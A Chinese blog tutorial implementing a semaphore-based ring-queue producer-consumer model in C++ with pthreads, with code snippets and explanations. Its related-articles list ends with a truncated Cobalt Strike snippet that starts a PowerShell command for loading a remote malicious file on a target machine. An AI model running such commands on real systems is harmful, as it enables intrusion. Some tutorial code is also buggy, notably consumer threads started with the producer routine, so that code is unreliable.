【Linux】基于环形队列的生产者消费者模型的实现

news2024/9/22 11:26:04

文章目录

  • 前言
  • 一、基于环形队列的生产者消费者模型的实现


前言

上一篇文章我们讲了信号量的几个接口和基于环形队列的生产者消费者模型,下面我们就快速来实现。


一、基于环形队列的生产者消费者模型的实现

首先我们创建三个文件,分别是makefile,RingQueue.hpp,以及main.cc。我们先简单搭建一下环形队列的框架:

#pragma once
#include <iostream>
#include <vector>
#include <semaphore.h>

static const int gcap = 5;

template <class T>
class RingQueue
{
public:
    RingQueue(const int& cap = gcap)
        :_queue(_cap)
        ,_cap(cap)
    {

    }
private:
    std::vector<T> _queue;
    int _cap;    //表示环形队列的容量
    sem_t _spaceSem;  //   代表空间资源的信号量
    sem_t _dataSem;   //   代表数据资源的信号量
};

首先我们的环形队列为了能存放任意类型的数据,所以直接用了模板参数。然后我们的环形队列的底层是vector,我们用cap这个变量表示环形队列的容量,然后我们之前提到过生产者关心的是空间资源,消费者关心的是数据资源,所以我们有两个信号量来分别表示,使用信号量的头文件是

semaphore.h,然后我们看看信号量初始化的接口:

 可以看到信号量初始化的接口有三个参数,我们都在上一篇文章讲过,pshared代表是否要共享(0就是线程间共享,非0就是进程间共享),Value是信号量的初始值。这个接口返回0代表成功,-1说明失败。

所以我们就可以对信号量这样初始化:

RingQueue(const int& cap = gcap)
        :_queue(cap)
        ,_cap(cap)
    {
        int n = sem_init(&_spaceSem,0,_cap);
        if (n==-1)
        {
            cout<<"_spaceSem信号量异常"<<endl;
        }
        n = sem_init(&_dataSem,0,0);
        if (n==-1)
        {
            cout<<"_dataSem信号量异常"<<endl;
        }
    }

我们一开始空间信号量肯定是队列空间容量,因为该开始没有数据占用空间。而开始的时候生产者并没有生产所以数据的信号量为0.

下面我们再写析构函数:

当我们程序退出的时候,要提前释放信号量的资源,所以我们看一下sem_destroy接口:

 ~RingQueue()
    {
        int n = sem_destroy(&_spaceSem);
        if (n==-1) cout<<"sem_destroy(&_spaceSem)失败"<<endl;
        n = sem_destroy(&_dataSem);
        if (n==-1) cout<<"sem_destroy(&_dataSem)失败"<<endl;
    }

写好了环形队列的框架后,我们再大致写一下main.cc的代码:

#include "RingQueue.hpp"
#include <pthread.h>

void *ProductorRoutine(void* rq)
{
     RingQueue<int>* ringq = static_cast<RingQueue<int>*>(rq);
     while (true)
     {
        //
     }
}
void *ConsumerRoutine(void* rq)
{
     RingQueue<int>* ringq = static_cast<RingQueue<int>*>(rq);
     while (true)
     {
        //
     }
}

int main()
{
    RingQueue<int>* rq = new RingQueue<int>();

    pthread_t p,c;
    pthread_create(&p,nullptr,ProductorRoutine,rq);
    pthread_create(&c,nullptr,ConsumerRoutine,rq);

    pthread_join(p,nullptr);
    pthread_join(c,nullptr);
    delete rq;
    return 0;
}

首先我们创建两个线程,一个代表生产者,一个代表消费者。我们让其线程调用回调函数的时候传入我们写的环形队列,然后结束前让主线程等待两个线程,最后释放掉环形队列的资源。两个回调函数分别是为生产者和消费者服务的,我们用安全的类型转换接收一开始传过来的环形队列指针,然后我们继续编写环形队列的代码。

现在我们需要考虑如何从环形队列中安全的拿出数据,所以我们需要有一个Push接口:

    void Push(const T& in)
    {

    }
    void pop(T* out)
    {
        
    }

当我们想要写push接口的时候才发现,我们生产的时候还要让信号量++--,所以我们还需要有P操作和V操作的接口:

 再写这两个接口前我们还需要认识sem_wait接口:

 这个接口可以让我们的信号量-1,对应的是P操作。

 sem_post接口可以让信号量+1,代表V操作。

    void P(sem_t& sem)
    {
       int n = sem_wait(&sem);
       if (n==-1) cout<<"sem_wait失败"<<endl;
    }
    void V(sem_t& sem)
    {
       int n = sem_post(&sem);
       if (n==-1) cout<<"sem_wait失败"<<endl;
    }

下面我们开始写push和pop接口:

我们每次生产都会有一个位置,所以我们直接用一个变量来表示生产者的位置,再用另一个变量表示消费者的位置。

    void Push(const T& in)
    {
        //生产者生产前需要预定空间
        P(_spaceSem);
        _queue[productorStep++] = in;
        productorStep%=_cap;
        //生产完成后数据多了一个
        V(_dataSem);
    }

我们刚开始生产的时候需要预定空间,所以我们要对空间信号量做P操作,然后在队列中生产者的位置放上生产的数据,这里让productorStep后置++就找到了下一次的位置。然后我们要保证生产者的位置不越界所以每次都要%上队列的容量,然后我们生产完成后数据就变多了,所以需要对数据进行V操作。

    void pop(T* out)
    {
        //消费前需要预定消费资源
        P(_dataSem);
        *out = _queue[consumerStep++];
        consumerStep%=_cap;
        //消费后空间变多
        V(_spaceSem);

    }

消费者消费前同样要看有没有数据资源,如果没有就阻塞在P操作,如果有就将消费的资源给out,然后为了防止消费者的位置越界需要%cap,并且消费者消费完成后空间会多出来。

下面我们完成以下main函数中的代码:

 首先我们种一个随机数种子,为了防止数据重复我们^了pid和线程ID,然后我们的任务就是简单的数字:

void *ProductorRoutine(void* rq)
{
     RingQueue<int>* ringq = static_cast<RingQueue<int>*>(rq);
     while (true)
     {
        int data = rand()%10 + 1;
        ringq->Push(data);
        std::cout<<"生产完成,生产的数据是: "<<data<<std::endl;
     }
}
void *ConsumerRoutine(void* rq)
{
     RingQueue<int>* ringq = static_cast<RingQueue<int>*>(rq);
     while (true)
     {
        int data;
        ringq->pop(&data);
        std::cout<<"消费完成,消费的数据是: "<<data<<std::endl;
     }
}

生产一个随机数然后push到我们的环形队列,然后打印生产完成。消费的时候直接去循环队列那数据然后打印即可,下面我们运行起来:

 运行后我们可以看到是没有问题的,当然我们也可以生产前sleep()一下,不然运行太快了。

 下面我们将上次写的生产任务的文件复制过来,然后让这个环形队列去完成加减乘除的任务。

下面是任务的代码:

class Task
{
public:
    Task()
    {

    }
    Task(int x,int y,char op)
       :_x(x)
       ,_y(y)
       ,_op(op)
       ,_result(0)
       ,_exitCode(0)
    {

    }
    void operator()()
    {
       switch(_op)
       {
       case '+':
           _result = _x + _y;
           break;
       case '-':
           _result = _x - _y;
           break;
       case '*':
           _result = _x * _y;
           break;
       case '/':
           if (_y==0)
           {
              _exitCode = -1;
           }
           else 
           {
              _result = _x / _y;
           }
           break;
       case '%':
           if (_y==0)
           {
              _exitCode = -2;
           }
           else 
           {
              _result = _x % _y;
           }
           break;
       default:
           break;
       }
    }
    std::string formatArg()
    {
        return std::to_string(_x) +_op +std::to_string(_y) + "=";
    }
    std::string formatRes()
    {
        return std::to_string(_result) + "(" + std::to_string(_exitCode) + ")";
    }
    ~Task()
    {

    }
private:
    int _x;
    int _y;
    char _op;
    int _result;
    int _exitCode;
};

 思路还是和我们阻塞队列的时候一样,直接将环形队列的类型改为Task即可:

 

 注意我们在消费者的函数中调用仿函数()可以直接完成加减乘除的运算。

下面我们运行起来看看效果:

 可以看到程序运行是没问题的,每个任务都被完成了。

刚刚我们思考的是单生产单消费模型,下面我们思考一下如果改动代码实现多生产多消费模型呢?

其实很简单,我们的消费者和生产者是完全独立的,也就是说生产者不生产只要队列有数据消费者依旧可以消费。即使消费者不消费,只要队列里有空间,那么生产者就可以生产,既然他们两个不构成互斥关系,那么我们就可以定义两把锁,一把锁去锁生产者,另一把锁去锁消费者。

 

 下面我们就直接在Push和Pop接口中加锁了:

 然后我们创建多个线程:

int main()
{
    srand((unsigned int)time(nullptr)^getpid()^pthread_self());
    RingQueue<Task>* rq = new RingQueue<Task>();
    pthread_t p[4],c[8];
    for (int i = 0;i<4;i++)
    {
        pthread_create(p+i,nullptr,ProductorRoutine,rq);
    }
    for (int i = 0;i<8;i++)
    {
        pthread_create(c+i,nullptr,ProductorRoutine,rq);
    }
    for (int i = 0;i<4;i++)
    {
        pthread_join(p[i],nullptr);
    }
    for (int i = 0;i<8;i++)
    {
        pthread_join(c[i],nullptr);
    }
    delete rq;
    return 0;
}

 可以看到我们确实完成了多生产多消费的例子。但是我们目前的代码还有一些小问题,实际上我们的信号量本来就是原子的不需要加锁操作,我们正确的写法应该是下面这样:

    void Push(const T& in)
    {
        //生产者生产前需要预定空间
        P(_spaceSem);
        pthread_mutex_lock(&_pmutex);
        _queue[productorStep++] = in;
        productorStep%=_cap;
        pthread_mutex_unlock(&_pmutex);
        //生产完成后数据多了一个
        V(_dataSem);
    }
    void pop(T* out)
    {
        //消费前需要预定消费资源
        P(_dataSem);
        pthread_mutex_lock(&_cmutex);
        *out = _queue[consumerStep++];
        consumerStep%=_cap;
        pthread_mutex_unlock(&_cmutex);
        //消费后空间变多
        V(_spaceSem);
    }

以上就是基于环形队列实现生产者消费者模型的全部内容了,这部分的代码很容易写错,一不小心就会出问题,所以大家写代码的时候一定要细心,而且linux环境下不太好调试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713994.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】医学影像归档和通信系统-PACS

一、PACS是通过DICOM3.0国际标准接口&#xff0c;将CT、超声、放射检查(DR)、核磁、磁共振&#xff08;MR)等多种医学影像以数字化的形式保存&#xff0c;提供授权方式查看和调回&#xff0c;并提供一些辅助诊断管理功能的系统。 二、PACS系统是HIS系统的重要组成部分&#xff…

强化学习路径优化:基于Q-learning算法的机器人路径优化(MATLAB)

一、强化学习之Q-learning算法 Q-learning算法是强化学习算法中的一种&#xff0c;该算法主要包含&#xff1a;Agent、状态、动作、环境、回报和惩罚。Q-learning算法通过机器人与环境不断地交换信息&#xff0c;来实现自我学习。Q-learning算法中的Q表是机器人与环境交互后的…

打造自己的分布式MinIO对象存储

MinIO是一个对象存储解决方案&#xff0c;它提供了一个与Amazon Web Services S3兼容的API&#xff0c;并支持所有核心S3特性。MinIO旨在部署在任何地方——公共云或私有云、裸机基础架构、协调环境和边缘基础架构。 分布式MinIO如何工作 Server Pool由多个Minio服务节点与其附…

OPNET Modeler 怎么修改背景颜色

OPNET Modeler 软件中除了顶层的网络模型&#xff0c;节点模型和进程模型中的默认背景色都是灰色的。 节点模型背景颜色如下图所示。 进程模型背景颜色如下图所示。 使用时间长了发现这个灰色背景对眼睛保护还真不错&#xff0c;而且在这种灰色背景下&#xff0c;你添加包流线…

高压线路零序电流方向保护程序逻辑原理(四)

2&#xff0e;全相循环程序逻辑框图 全相循环程序逻辑简图如图3&#xff0d;18所示。程序入口首先检测标志位UQDB1&#xff0c;在采样中断服务程序中采用3U。突变量来区分接地故障和TA断线&#xff0c;接地故障时Δ3U。大于定值&#xff0c;置标志位UQDB1&#xff0c;这是11型…

web标签的使用

一、iframe标签的使用 iframe参数说明 实例&#xff1a; <body><iframe width"400" height"400" name"abc"></iframe><br /><ul><a href"01.table.html" target"abc">01.table.html&l…

使用docker安装mysql主从集群

1.安装MySQL主容器 1.1首先&#xff0c;使用以下命令创建MySQL主容器&#xff1a; sudo docker run --name mysql-master -p 3306:3306 -e MYSQL_ROOT_PASSWORD123456 -d mysql:latest 在这里&#xff0c;使用了Docker官方提供的MySQL镜像&#xff0c;并且使用了MySQL的默认3…

浅谈自动化测试框架开发,有你们不会知道的吗?

在自动化测试项目中&#xff0c;为了实现更多功能&#xff0c;我们需要引入不同的库、框架。 首先&#xff0c;你需要将常用的这些库、框架都装上。 pip install requests pip install selenium pip install appium pip install pytest pip install pytest-rerunfailures pip …

以中非经贸连线,看星沙如何练就一流营商环境

不知不觉&#xff0c;“一带一路”倡议提出已有十年&#xff0c;回望过去十年间&#xff0c;在“一带一路”倡议推动下&#xff0c;中国与各国合作共识不断凝聚&#xff0c;国际感召力持续增强&#xff0c;共建“一带一路”的朋友圈持续扩大&#xff0c;遍布亚、欧、非等五大洲…

往数据库插入数据时出现了多条重复数据

业务场景 钉钉端发起审批流程后&#xff0c;会回调开发者后台的callback接口&#xff0c;然后callback接口逻辑处理时会对一些数据做入库处理&#xff0c;但是突然发现数据库中出现了很多重复的数据 问题发现 业务代码进行断点&#xff0c;发现并无异常&#xff0c;就是一条…

探索思维导图:提升思维能力与效率的利器

思维导图作为一种强大的思考工具&#xff0c;已经被广泛应用于各个领域&#xff0c;从学习、工作到创意思维和项目管理。 本文将为您介绍思维导图的基本概念、使用方法以及它对思维能力和效率提升的价值。通过学习和掌握思维导图&#xff0c;您将能够更系统地组织和表达您的思…

scss中写3元运算

为真选第1个参数&#xff0c;为假选第2个参数 前端基础——sass的使用_sass 三元运算_ccopcx的博客-CSDN博客

LabVIEW进行临床肝透析试验

LabVIEW进行临床肝透析试验 慢性肾衰竭患者可以在透析或肾移植的帮助下大大延长其预期寿命。肝病患者需要与透析相当的治疗作为肝移植的替代方案。肾透析可清除患者血液中的水基毒素&#xff0c;肝脏透析需要消除与蛋白质相关的毒素。 为了降低肝病患者的高死亡率&#xff0c…

JNPF可视化平台的搭建及使用

目录 一、前言 二、可视化平台介绍 三、搭建可视化平台 【表单设计】 【报表设计】 【流程设计】 【代码生成器】 四、使用可视化平台 前后端分离&#xff1a; 多数据源&#xff1a; 预置功能&#xff1a; 私有化部署&#xff1a; 五、总结 一、前言 可视化低代码平台是一种快速…

项目打包exe文件

1。先准备exe4j VM Parameters后面要写上 -Dfile.encodingutf-8 不是很重要 因为是springboot项目在打包成exe的时候会出现不能运行的问题 所以在Main class from Class Path这里填&#xff08;org.springframework.boot.loader.JarLauncher&#xff09; 这样打包就好了

Android View 事件派发流程

原文链接 Android View 事件派发流程 自从乔帮主横空出世推出了iPhone以来&#xff0c;触控式的操作便成了21世纪智能设备的标准输入方式。对于同是智能操作系统的Android来说&#xff0c;也不例外。事件&#xff0c;特别是触控事件对于移动应用程序开发来说是一个非常重要的&…

Docker容器中应用部署

Docker应用部署 在Docker容器中部署MySQL&#xff0c;并通过外部的mysql客户端操作MySQL Server 一、Mysql部署 端口映射 容器内的网络服务和外部机器不能直接通信外部机器和宿主机可以通信宿主机和容器可以直接通信当容器中的网络服务需要被外部访问的时候&#xff0c;可以把…

语音识别模型whisper的参数说明

一、whisper简介&#xff1a; Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的&#xff0c;也是一个多任务模型&#xff0c;可以执行多语言语音识别、语音翻译和语言识别。 二、whisper的参数 1、-h, --help 查看whisper的参数 2、--model {tiny.en…

分布式锁及实现方式

一、背景 什么是锁&#xff1f; 在单进程的系统中&#xff0c;当存在多个线程可以同时改变某个变量&#xff08;可变共享变量&#xff09;时&#xff0c;就需要对变量或代码块做同步&#xff0c;使其在修改这种变量时能够线性执行消除并发修改变量。而同步的本质是通过锁来实…

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后&#xff0c;传给靶机&#xff0c;让其执行 2. powershell 在靶机中执行下面这段代码即可&#xff0c;就是远程恶意文件加载 powershell.exe -nop -w hi…